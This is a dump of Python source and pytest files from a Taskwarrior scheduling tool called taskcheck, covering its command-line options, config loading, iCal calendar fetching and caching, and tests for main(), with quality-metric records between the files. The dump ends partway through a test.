{"qsc_code_num_words": 642, "qsc_code_num_chars": 5641.0, "qsc_code_mean_word_length": 4.64485981, "qsc_code_frac_words_unique": 0.29595016, "qsc_code_frac_chars_top_2grams": 0.0435949, "qsc_code_frac_chars_top_3grams": 0.0147552, "qsc_code_frac_chars_top_4grams": 0.01408451, "qsc_code_frac_chars_dupe_5grams": 0.08920188, "qsc_code_frac_chars_dupe_6grams": 0.06304494, "qsc_code_frac_chars_dupe_7grams": 0.0295104, "qsc_code_frac_chars_dupe_8grams": 0.0295104, "qsc_code_frac_chars_dupe_9grams": 0.0295104, "qsc_code_frac_chars_dupe_10grams": 0.0295104, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00818515, "qsc_code_frac_chars_whitespace": 0.37191987, "qsc_code_size_file_byte": 5641.0, "qsc_code_num_lines": 153.0, "qsc_code_num_chars_line_max": 103.0, "qsc_code_num_chars_line_mean": 36.86928105, "qsc_code_frac_chars_alphabet": 0.83347446, "qsc_code_frac_chars_comments": 0.09874136, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.15, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.05602683, "qsc_code_frac_chars_long_word_length": 0.00591833, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codepython_cate_ast": 1.0, "qsc_codepython_frac_lines_func_ratio": 0.03333333, "qsc_codepython_cate_var_zero": false, "qsc_codepython_frac_lines_pass": 0.0, "qsc_codepython_frac_lines_import": 0.08333333, "qsc_codepython_frac_lines_simplefunc": 0.0, "qsc_codepython_score_lines_no_logic": 0.15833333, "qsc_codepython_frac_lines_print": 0.03333333}
1
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codepython_cate_ast": 0, "qsc_codepython_frac_lines_func_ratio": 0, "qsc_codepython_cate_var_zero": 0, "qsc_codepython_frac_lines_pass": 0, "qsc_codepython_frac_lines_import": 0, "qsc_codepython_frac_lines_simplefunc": 0, "qsc_codepython_score_lines_no_logic": 0, "qsc_codepython_frac_lines_print": 0}
00sapo/taskcheck
taskcheck/__main__.py
import tomllib import argparse from taskcheck.parallel import check_tasks_parallel from taskcheck.common import config_dir arg_parser = argparse.ArgumentParser() arg_parser.add_argument( "-v", "--verbose", action="store_true", help="Increase output verbosity." ) arg_parser.add_argument( "-i", "--install", action="store_true", help="Install the UDAs, required settings, and default config file.", ) arg_parser.add_argument( "-r", "--report", action="store", help="Generate a report of the tasks based on the scheduling; can be any Taskwarrior datetime specification (e.g. today, tomorrow, eom, som, 1st, 2nd, etc.). It is considered as `by`, meaning that the report will be generated for all the days until the specified date and including it.", ) arg_parser.add_argument( "-s", "--schedule", action="store_true", help="Perform the scheduling algorithm, giving a schedule and a scheduling UDA and alerting for not completable tasks.", ) arg_parser.add_argument( "-f", "--force-update", action="store_true", help="Force update of all ical calendars by ignoring cache expiration.", ) arg_parser.add_argument( "--taskrc", action="store", help="Set custom TASKRC directory for debugging purposes.", ) arg_parser.add_argument( "--urgency-weight", type=float, help="Weight for urgency in scheduling (0.0 to 1.0), overrides config value. When 1.0, the whole Taskwarrior urgency is used for scheduling. When 0.0, the Taskwarrior urgency is reduced to only due urgency.", ) arg_parser.add_argument( "--dry-run", action="store_true", help="Perform scheduling without modifying the Taskwarrior database, useful for testing.", ) arg_parser.add_argument( "--no-auto-adjust-urgency", dest="auto_adjust_urgency", action="store_false", default=True, help="Disable automatic reduction of urgency weight when tasks cannot be completed on time. (Enabled by default, meaning automatic reduction will occur.)", ) # Load working hours and exceptions from TOML file def load_config(): """ Loads the configuration from the TOML file located at config_dir / "taskcheck.toml". Returns a dictionary with the config structure, e.g.: { "time_maps": { "work": { "monday": [[9, 12.30], [14, 17]], "tuesday": [[9, 12.30], [14, 17]], ... } }, "scheduler": { "days_ahead": 365, "weight_urgency": 1.0, ... }, "report": { "include_unplanned": true, "additional_attributes": [], "additional_attributes_unplanned": [], "emoji_keywords": {}, ... } } """ with open(config_dir / "taskcheck.toml", "rb") as f: config = tomllib.load(f) return config def main(): args = arg_parser.parse_args() # Load data and check tasks print_help = True result = None if args.install: from taskcheck.install import install install() return if args.schedule: config = load_config() check_tasks_kwargs = dict( verbose=args.verbose, force_update=args.force_update, taskrc=args.taskrc, urgency_weight_override=args.urgency_weight, dry_run=args.dry_run, auto_adjust_urgency=args.auto_adjust_urgency, ) # Only add auto_adjust_urgency if it is present and a real bool (not a mock) result = check_tasks_parallel( config, **check_tasks_kwargs, ) print_help = False if args.report: from taskcheck.report import generate_report config = load_config() scheduling_results = None if args.schedule and args.dry_run: # If we just did a dry-run schedule, use those results scheduling_results = result generate_report( config, args.report, args.verbose, force_update=args.force_update, taskrc=args.taskrc, scheduling_results=scheduling_results, ) print_help = False if print_help: arg_parser.print_help() if __name__ == "__main__": main()
4,330
__main__
py
en
python
code
{"qsc_code_num_words": 521, "qsc_code_num_chars": 4330.0, "qsc_code_mean_word_length": 5.03838772, "qsc_code_frac_words_unique": 0.36276392, "qsc_code_frac_chars_top_2grams": 0.04114286, "qsc_code_frac_chars_top_3grams": 0.04114286, "qsc_code_frac_chars_top_4grams": 0.06857143, "qsc_code_frac_chars_dupe_5grams": 0.06704762, "qsc_code_frac_chars_dupe_6grams": 0.04038095, "qsc_code_frac_chars_dupe_7grams": 0.04038095, "qsc_code_frac_chars_dupe_8grams": 0.04038095, "qsc_code_frac_chars_dupe_9grams": 0.04038095, "qsc_code_frac_chars_dupe_10grams": 0.04038095, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.01046622, "qsc_code_frac_chars_whitespace": 0.27182448, "qsc_code_size_file_byte": 4330.0, "qsc_code_num_lines": 143.0, "qsc_code_num_chars_line_max": 292.0, "qsc_code_num_chars_line_mean": 30.27972028, "qsc_code_frac_chars_alphabet": 0.82207422, "qsc_code_frac_chars_comments": 0.18198614, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.25, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.03, "qsc_code_frac_chars_string_length": 0.36477438, "qsc_code_frac_chars_long_word_length": 0.0069869, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codepython_cate_ast": 1.0, "qsc_codepython_frac_lines_func_ratio": 0.02, "qsc_codepython_cate_var_zero": false, "qsc_codepython_frac_lines_pass": 0.0, "qsc_codepython_frac_lines_import": 0.06, "qsc_codepython_frac_lines_simplefunc": 0.0, "qsc_codepython_score_lines_no_logic": 0.1, "qsc_codepython_frac_lines_print": 0.05}
1
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codepython_cate_ast": 0, "qsc_codepython_frac_lines_func_ratio": 0, "qsc_codepython_cate_var_zero": 0, "qsc_codepython_frac_lines_pass": 0, "qsc_codepython_frac_lines_import": 0, "qsc_codepython_frac_lines_simplefunc": 0, "qsc_codepython_score_lines_no_logic": 0, "qsc_codepython_frac_lines_print": 0}
00sapo/taskcheck
tests/test_ical.py
import pytest from datetime import datetime, timedelta from unittest.mock import patch, Mock import json import tempfile from taskcheck.ical import ( fetch_ical_data, parse_ical_events, ical_to_dict, get_cache_filename ) class TestIcalFetching: @patch('requests.get') def test_fetch_ical_data_success(self, mock_get, mock_ical_response): mock_response = Mock() mock_response.text = mock_ical_response mock_response.raise_for_status = Mock() mock_get.return_value = mock_response result = fetch_ical_data("https://example.com/calendar.ics") assert result == mock_ical_response mock_get.assert_called_once_with("https://example.com/calendar.ics") @patch('requests.get') def test_fetch_ical_data_error(self, mock_get): mock_response = Mock() mock_response.raise_for_status.side_effect = Exception("HTTP Error") mock_get.return_value = mock_response with pytest.raises(Exception): fetch_ical_data("https://example.com/calendar.ics") class TestIcalParsing: @patch('taskcheck.ical.datetime') def test_parse_ical_events_simple(self, mock_datetime, mock_ical_response): # Mock datetime.now() to return a date that makes the test events valid mock_datetime.now.return_value = datetime(2023, 12, 1, 12, 0, 0) mock_datetime.side_effect = lambda *args, **kw: datetime(*args, **kw) events = parse_ical_events(mock_ical_response, days_ahead=7, all_day=False) assert len(events) >= 1 for event in events: assert "start" in event assert "end" in event assert isinstance(event["start"], str) assert isinstance(event["end"], str) @patch('taskcheck.ical.datetime') def test_parse_ical_events_with_timezone(self, mock_datetime, mock_ical_response): mock_datetime.now.return_value = datetime(2023, 12, 1, 12, 0, 0) mock_datetime.side_effect = lambda *args, **kw: datetime(*args, **kw) events = parse_ical_events( mock_ical_response, days_ahead=7, all_day=False, tz_name="America/New_York" ) assert len(events) >= 0 @patch('taskcheck.ical.datetime') def test_parse_ical_events_recurring(self, mock_datetime): mock_datetime.now.return_value = datetime(2023, 12, 1, 12, 0, 0) mock_datetime.side_effect = lambda *args, **kw: datetime(*args, **kw) ical_with_recurring = """BEGIN:VCALENDAR VERSION:2.0 PRODID:test BEGIN:VEVENT UID:recurring-event DTSTART:20231205T140000Z DTEND:20231205T150000Z SUMMARY:Weekly Meeting RRULE:FREQ=WEEKLY;COUNT=3 END:VEVENT END:VCALENDAR""" events = parse_ical_events(ical_with_recurring, days_ahead=21, all_day=False) # Should have 3 occurrences assert len(events) == 3 @patch('taskcheck.ical.datetime') def test_parse_ical_events_all_day(self, mock_datetime): mock_datetime.now.return_value = datetime(2023, 12, 1, 12, 0, 0) mock_datetime.side_effect = lambda *args, **kw: datetime(*args, **kw) ical_all_day = """BEGIN:VCALENDAR VERSION:2.0 PRODID:test BEGIN:VEVENT UID:all-day-event DTSTART;VALUE=DATE:20231205 DTEND;VALUE=DATE:20231206 SUMMARY:All Day Event END:VEVENT END:VCALENDAR""" events_include = parse_ical_events(ical_all_day, days_ahead=7, all_day=True) events_exclude = parse_ical_events(ical_all_day, days_ahead=7, all_day=False) assert len(events_include) >= len(events_exclude) class TestIcalCaching: def test_get_cache_filename(self): url = "https://example.com/calendar.ics" filename = get_cache_filename(url) assert filename.suffix == ".json" assert len(filename.stem) == 64 # SHA256 hash length @patch('requests.get') def test_ical_to_dict_with_cache(self, mock_get, temp_cache_dir, mock_ical_response): mock_response = Mock() mock_response.text = mock_ical_response mock_response.raise_for_status = Mock() mock_get.return_value = mock_response url = "https://example.com/calendar.ics" # First call should fetch and cache events1 = ical_to_dict(url, days_ahead=7, all_day=False, expiration=1.0) # Second call should use cache events2 = ical_to_dict(url, days_ahead=7, all_day=False, expiration=1.0) assert events1 == events2 # Should only make one HTTP request assert mock_get.call_count == 1 @patch('requests.get') def test_ical_to_dict_force_update(self, mock_get, temp_cache_dir, mock_ical_response): mock_response = Mock() mock_response.text = mock_ical_response mock_response.raise_for_status = Mock() mock_get.return_value = mock_response url = "https://example.com/calendar.ics" # First call events1 = ical_to_dict(url, days_ahead=7, all_day=False, expiration=1.0) # Force update should bypass cache events2 = ical_to_dict(url, days_ahead=7, all_day=False, expiration=1.0, force_update=True) assert events1 == events2 # Should make two HTTP requests assert mock_get.call_count == 2 class TestExceptionHandling: @patch('requests.get') def test_ical_to_dict_malformed_ical(self, mock_get, temp_cache_dir): mock_response = Mock() mock_response.text = "INVALID ICAL DATA" mock_response.raise_for_status = Mock() mock_get.return_value = mock_response url = "https://example.com/calendar.ics" # Should handle malformed iCal gracefully with pytest.raises(Exception): ical_to_dict(url, days_ahead=7, all_day=False)
5,990
test_ical
py
en
python
code
{"qsc_code_num_words": 775, "qsc_code_num_chars": 5990.0, "qsc_code_mean_word_length": 4.82064516, "qsc_code_frac_words_unique": 0.18709677, "qsc_code_frac_chars_top_2grams": 0.06102784, "qsc_code_frac_chars_top_3grams": 0.04710921, "qsc_code_frac_chars_top_4grams": 0.04817987, "qsc_code_frac_chars_dupe_5grams": 0.64239829, "qsc_code_frac_chars_dupe_6grams": 0.59796574, "qsc_code_frac_chars_dupe_7grams": 0.5746788, "qsc_code_frac_chars_dupe_8grams": 0.56745182, "qsc_code_frac_chars_dupe_9grams": 0.500803, "qsc_code_frac_chars_dupe_10grams": 0.41889722, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.0290659, "qsc_code_frac_chars_whitespace": 0.2475793, "qsc_code_size_file_byte": 5990.0, "qsc_code_num_lines": 171.0, "qsc_code_num_chars_line_max": 100.0, "qsc_code_num_chars_line_mean": 35.02923977, "qsc_code_frac_chars_alphabet": 0.79986687, "qsc_code_frac_chars_comments": 0.0542571, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.43902439, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.14237708, "qsc_code_frac_chars_long_word_length": 0.03802618, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.1300813, "qsc_codepython_cate_ast": 1.0, "qsc_codepython_frac_lines_func_ratio": 0.08130081, "qsc_codepython_cate_var_zero": false, "qsc_codepython_frac_lines_pass": 0.0, "qsc_codepython_frac_lines_import": 0.04878049, "qsc_codepython_frac_lines_simplefunc": 0.0, "qsc_codepython_score_lines_no_logic": 0.16260163, "qsc_codepython_frac_lines_print": 0.0}
1
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codepython_cate_ast": 0, "qsc_codepython_frac_lines_func_ratio": 0, "qsc_codepython_cate_var_zero": 0, "qsc_codepython_frac_lines_pass": 0, "qsc_codepython_frac_lines_import": 0, "qsc_codepython_frac_lines_simplefunc": 0, "qsc_codepython_score_lines_no_logic": 0, "qsc_codepython_frac_lines_print": 0}
00sapo/taskcheck
tests/test_main.py
import pytest from unittest.mock import patch, Mock, mock_open from taskcheck.__main__ import main, load_config, arg_parser class TestArgumentParsing: def test_arg_parser_defaults(self): """Test default argument values.""" args = arg_parser.parse_args([]) assert args.verbose is False assert args.install is False assert args.report is None assert args.schedule is False assert args.force_update is False assert args.taskrc is None assert args.urgency_weight is None assert args.dry_run is False assert args.auto_adjust_urgency is True def test_arg_parser_all_flags(self): """Test all command line flags.""" args = arg_parser.parse_args( [ "-v", "-i", "-r", "today", "-s", "-f", "--taskrc", "/custom/path", "--urgency-weight", "0.7", ] ) assert args.verbose is True assert args.install is True assert args.report == "today" assert args.schedule is True assert args.force_update is True assert args.taskrc == "/custom/path" assert args.urgency_weight == 0.7 def test_arg_parser_long_form(self): """Test long form arguments.""" args = arg_parser.parse_args( [ "--verbose", "--install", "--report", "eow", "--schedule", "--force-update", "--taskrc", "/test", "--urgency-weight", "0.3", ] ) assert args.verbose is True assert args.install is True assert args.report == "eow" assert args.schedule is True assert args.force_update is True assert args.taskrc == "/test" assert args.urgency_weight == 0.3 def test_urgency_weight_argument(self): """Test urgency weight argument parsing.""" args = arg_parser.parse_args(["--urgency-weight", "0.7"]) assert args.urgency_weight == 0.7 def test_urgency_weight_argument_validation(self): """Test urgency weight argument with valid boundary values.""" # This should work args = arg_parser.parse_args(["--urgency-weight", "0.0"]) assert args.urgency_weight == 0.0 args = arg_parser.parse_args(["--urgency-weight", "1.0"]) assert args.urgency_weight == 1.0 def test_dry_run_argument(self): """Test dry-run argument parsing.""" args = arg_parser.parse_args(["--dry-run"]) assert args.dry_run is True args = arg_parser.parse_args([]) assert args.dry_run is False def test_auto_adjust_urgency_argument(self): """Test auto-adjust-urgency argument parsing.""" args = arg_parser.parse_args([]) assert args.auto_adjust_urgency is True args = arg_parser.parse_args(["--no-auto-adjust-urgency"]) assert args.auto_adjust_urgency is False class TestConfigLoading: @patch( "builtins.open", new_callable=mock_open, read_data=b"[scheduler]\ndays_ahead = 7", ) @patch("tomllib.load") def test_load_config_success(self, mock_toml_load, mock_file, sample_config): """Test successful config loading.""" mock_toml_load.return_value = sample_config config = load_config() assert config == sample_config mock_file.assert_called_once() mock_toml_load.assert_called_once() @patch("builtins.open") def test_load_config_file_not_found(self, mock_file): """Test config loading when file doesn't exist.""" mock_file.side_effect = FileNotFoundError("Config file not found") with pytest.raises(FileNotFoundError): load_config() @patch("builtins.open", new_callable=mock_open, read_data=b"invalid toml content") @patch("tomllib.load") def test_load_config_invalid_toml(self, mock_toml_load, mock_file): """Test config loading with invalid TOML.""" mock_toml_load.side_effect = Exception("Invalid TOML") with pytest.raises(Exception): load_config() class TestMainFunction: def test_main_no_args_shows_help(self, capsys): """Test that main shows help when no arguments provided.""" with patch("sys.argv", ["taskcheck"]): with patch("taskcheck.__main__.arg_parser.parse_args") as mock_parse: mock_args = Mock() mock_args.install = False mock_args.schedule = False mock_args.report = None mock_args.auto_adjust_urgency = True mock_parse.return_value = mock_args with patch.object(arg_parser, "print_help") as mock_help: main() mock_help.assert_called_once() @patch("taskcheck.install.install") def test_main_install_command(self, mock_install): """Test install command execution.""" with patch("sys.argv", ["taskcheck", "--install"]): with patch("taskcheck.__main__.arg_parser.parse_args") as mock_parse: mock_args = Mock() mock_args.install = True mock_args.schedule = False mock_args.report = None mock_args.auto_adjust_urgency = True mock_parse.return_value = mock_args main() mock_install.assert_called_once() @patch("taskcheck.__main__.load_config") @patch("taskcheck.__main__.check_tasks_parallel") def test_main_schedule_command( self, mock_check_tasks, mock_load_config, sample_config, test_taskrc, mock_task_export_with_taskrc, ): """Test schedule command execution.""" mock_load_config.return_value = sample_config with patch("sys.argv", ["taskcheck", "--schedule", "--taskrc", test_taskrc]): with patch("taskcheck.__main__.arg_parser.parse_args") as mock_parse: mock_args = Mock() mock_args.install = False mock_args.schedule = True mock_args.report = None mock_args.verbose = False mock_args.force_update = False mock_args.taskrc = test_taskrc mock_args.urgency_weight = None mock_args.dry_run = False mock_args.auto_adjust_urgency = True mock_parse.return_value = mock_args main() mock_load_config.assert_called_once() mock_check_tasks.assert_called_once_with( sample_config, verbose=False, force_update=False, taskrc=test_taskrc, urgency_weight_override=None, dry_run=False, auto_adjust_urgency=True, ) @patch("taskcheck.__main__.load_config") @patch("taskcheck.report.generate_report") def test_main_report_command( self, mock_generate_report, mock_load_config, sample_config, test_taskrc ): """Test report command execution.""" mock_load_config.return_value = sample_config with patch( "sys.argv", ["taskcheck", "--report", "today", "--taskrc", test_taskrc] ): with patch("taskcheck.__main__.arg_parser.parse_args") as mock_parse: mock_args = Mock() mock_args.install = False mock_args.schedule = False mock_args.report = "today" mock_args.verbose = True mock_args.force_update = True mock_args.taskrc = test_taskrc mock_args.dry_run = False mock_args.auto_adjust_urgency = True mock_parse.return_value = mock_args main() mock_load_config.assert_called_once() mock_generate_report.assert_called_once_with( sample_config, "today", True, force_update=True, taskrc=test_taskrc, scheduling_results=None, ) @patch("taskcheck.__main__.load_config") @patch("taskcheck.__main__.check_tasks_parallel") @patch("taskcheck.report.generate_report") def test_main_schedule_and_report( self, mock_generate_report, mock_check_tasks, mock_load_config, sample_config, test_taskrc, mock_task_export_with_taskrc, ): """Test both schedule and report commands together.""" mock_load_config.return_value = sample_config with patch( "sys.argv", ["taskcheck", "--schedule", "--report", "eow", "--taskrc", test_taskrc], ): with patch("taskcheck.__main__.arg_parser.parse_args") as mock_parse: mock_args = Mock() mock_args.install = False mock_args.schedule = True mock_args.report = "eow" mock_args.verbose = False mock_args.force_update = False mock_args.taskrc = test_taskrc mock_args.urgency_weight = None mock_args.dry_run = False mock_args.auto_adjust_urgency = True mock_parse.return_value = mock_args main() # Config should be loaded twice (once for each command) assert mock_load_config.call_count == 2 mock_check_tasks.assert_called_once() mock_generate_report.assert_called_once() @patch("taskcheck.__main__.load_config") @patch("taskcheck.__main__.check_tasks_parallel") def test_main_schedule_with_verbose_and_force_update( self, mock_check_tasks, mock_load_config, sample_config, test_taskrc, mock_task_export_with_taskrc, ): """Test schedule command with verbose and force update flags.""" mock_load_config.return_value = sample_config with patch( "sys.argv", [ "taskcheck", "--schedule", "--verbose", "--force-update", "--taskrc", test_taskrc, ], ): with patch("taskcheck.__main__.arg_parser.parse_args") as mock_parse: mock_args = Mock() mock_args.install = False mock_args.schedule = True mock_args.report = None mock_args.verbose = True mock_args.force_update = True mock_args.taskrc = test_taskrc mock_args.urgency_weight = None mock_args.dry_run = False mock_args.auto_adjust_urgency = True mock_parse.return_value = mock_args main() mock_check_tasks.assert_called_once_with( sample_config, verbose=True, force_update=True, taskrc=test_taskrc, urgency_weight_override=None, dry_run=False, auto_adjust_urgency=True, ) @patch("taskcheck.__main__.load_config") @patch("taskcheck.__main__.check_tasks_parallel") def test_main_schedule_with_urgency_weight_override( self, mock_check_tasks, mock_load_config, sample_config, test_taskrc, mock_task_export_with_taskrc, ): """Test schedule command with urgency weight override.""" mock_load_config.return_value = sample_config with patch( "sys.argv", [ "taskcheck", "--schedule", "--urgency-weight", "0.3", "--taskrc", test_taskrc, ], ): with patch("taskcheck.__main__.arg_parser.parse_args") as mock_parse: mock_args = Mock() mock_args.install = False mock_args.schedule = True mock_args.report = None mock_args.verbose = False mock_args.force_update = False mock_args.taskrc = test_taskrc mock_args.urgency_weight = 0.3 mock_args.dry_run = False mock_args.auto_adjust_urgency = True mock_parse.return_value = mock_args main() mock_check_tasks.assert_called_once_with( sample_config, verbose=False, force_update=False, taskrc=test_taskrc, urgency_weight_override=0.3, dry_run=False, auto_adjust_urgency=True, ) @patch("taskcheck.__main__.load_config") @patch("taskcheck.__main__.check_tasks_parallel") def test_main_schedule_with_dry_run( self, mock_check_tasks, mock_load_config, sample_config, test_taskrc ): """Test that dry-run mode returns scheduling results without modifying tasks.""" mock_load_config.return_value = sample_config # Mock dry-run results dry_run_results = [ { "id": "1", "uuid": "test-uuid-1", "description": "Test task 1", "project": "test", "urgency": 5.0, "estimated": "PT2H", "due": "20241225T120000Z", "scheduled": "2024-12-20", "completion_date": "2024-12-20", "scheduling": "2024-12-20 - PT2H", } ] mock_check_tasks.return_value = dry_run_results with patch( "sys.argv", ["taskcheck", "--schedule", "--dry-run", "--taskrc", test_taskrc], ): with patch("taskcheck.__main__.arg_parser.parse_args") as mock_parse: mock_args = Mock() mock_args.install = False mock_args.schedule = True mock_args.report = None mock_args.verbose = False mock_args.force_update = False mock_args.taskrc = test_taskrc mock_args.urgency_weight = None mock_args.dry_run = True mock_args.auto_adjust_urgency = True mock_parse.return_value = mock_args main() # Verify that check_tasks_parallel was called with dry_run=True mock_check_tasks.assert_called_once_with( sample_config, verbose=False, force_update=False, taskrc=test_taskrc, urgency_weight_override=None, dry_run=True, auto_adjust_urgency=True, ) mock_load_config.assert_called_once() @patch("taskcheck.__main__.load_config") @patch("taskcheck.__main__.check_tasks_parallel") @patch("taskcheck.report.generate_report") def test_main_schedule_dry_run_with_report( self, mock_generate_report, mock_check_tasks, mock_load_config, sample_config, test_taskrc, ): """Test that dry-run results are passed to report generation.""" mock_load_config.return_value = sample_config # Mock dry-run results dry_run_results = [ { "id": "1", "uuid": "test-uuid-1", "description": "Test task 1", "project": "test", "urgency": 5.0, "estimated": "PT2H", "due": "20241225T120000Z", "scheduled": "2024-12-20", "completion_date": "2024-12-20", "scheduling": "2024-12-20 - PT2H", } ] mock_check_tasks.return_value = dry_run_results with patch( "sys.argv", [ "taskcheck", "--schedule", "--dry-run", "--report", "today", "--taskrc", test_taskrc, ], ): with patch("taskcheck.__main__.arg_parser.parse_args") as mock_parse: mock_args = Mock() mock_args.install = False mock_args.schedule = True mock_args.report = "today" mock_args.verbose = False mock_args.force_update = False mock_args.taskrc = test_taskrc mock_args.urgency_weight = None mock_args.dry_run = True mock_args.auto_adjust_urgency = True mock_parse.return_value = mock_args main() # Verify that generate_report was called with the dry-run results mock_generate_report.assert_called_once_with( sample_config, "today", False, force_update=False, taskrc=test_taskrc, scheduling_results=dry_run_results, ) # Verify that check_tasks_parallel was called with dry_run=True mock_check_tasks.assert_called_once_with( sample_config, verbose=False, force_update=False, taskrc=test_taskrc, urgency_weight_override=None, dry_run=True, auto_adjust_urgency=True, ) @patch("taskcheck.__main__.load_config") def test_main_config_loading_error(self, mock_load_config): """Test behavior when config loading fails.""" mock_load_config.side_effect = FileNotFoundError("Config not found") with patch("sys.argv", ["taskcheck", "--schedule"]): with patch("taskcheck.__main__.arg_parser.parse_args") as mock_parse: mock_args = Mock() mock_args.install = False mock_args.schedule = True mock_args.report = None mock_args.auto_adjust_urgency = True mock_parse.return_value = mock_args with pytest.raises(FileNotFoundError): main() def test_main_help_display(self): """Test that help is displayed when no valid commands are given.""" with patch("sys.argv", ["taskcheck"]): with patch("taskcheck.__main__.arg_parser.parse_args") as mock_parse: mock_args = Mock() mock_args.install = False mock_args.schedule = False mock_args.report = None mock_args.auto_adjust_urgency = True mock_parse.return_value = mock_args with patch.object(arg_parser, "print_help") as mock_help: main() mock_help.assert_called_once() @patch("taskcheck.install.install") def test_main_install_returns_early(self, mock_install): """Test that install command returns without processing other commands.""" with patch("sys.argv", ["taskcheck", "--install", "--schedule"]): with patch("taskcheck.__main__.arg_parser.parse_args") as mock_parse: mock_args = Mock() mock_args.install = True mock_args.schedule = True mock_args.report = None mock_args.auto_adjust_urgency = True mock_parse.return_value = mock_args with patch("taskcheck.__main__.load_config") as mock_load: main() mock_install.assert_called_once() # load_config should not be called because install returns early mock_load.assert_not_called() class TestImportErrorHandling: def test_install_import_error(self): """Test behavior when install module cannot be imported.""" with patch("sys.argv", ["taskcheck", "--install"]): with patch("taskcheck.__main__.arg_parser.parse_args") as mock_parse: mock_args = Mock() mock_args.install = True mock_args.schedule = False mock_args.report = None mock_args.auto_adjust_urgency = True mock_parse.return_value = mock_args with patch( "builtins.__import__", side_effect=ImportError("Install module not found"), ): with pytest.raises(ImportError): main() def test_report_import_error(self): """Test behavior when report module cannot be imported.""" with patch("sys.argv", ["taskcheck", "--report", "today"]): with patch("taskcheck.__main__.arg_parser.parse_args") as mock_parse: mock_args = 